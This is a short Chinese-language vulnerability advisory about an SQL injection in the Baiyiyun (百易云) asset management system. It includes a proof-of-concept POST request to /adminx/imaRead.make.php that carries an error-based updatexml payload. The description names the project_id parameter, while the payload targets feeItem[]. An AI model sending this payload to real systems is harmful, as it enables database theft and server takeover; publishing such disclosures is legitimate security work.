漏洞描述
百易云资产管理运营系统是一款专为资产管理和运营设计的软件，提供高效的资产管理解决方案。系统在接口imaRead.make.php和leaseImaRead.make.php中，未对用户输入的project_id参数进行过滤，导致SQL注入漏洞。攻击者可以利用此漏洞获取数据库中的敏感信息（如管理员密码、用户数据），甚至通过高权限写入木马，进一步控制服务器。
百易云资产管理运营系统 /adminx/imaRead.make.php SQL 注入漏洞
PoC代码
POST /adminx/imaRead.make.php?act=remake HTTP/1.1
feeItem[]=1+AND+updatexml(1,concat(0x7e,md5(12345678)),1)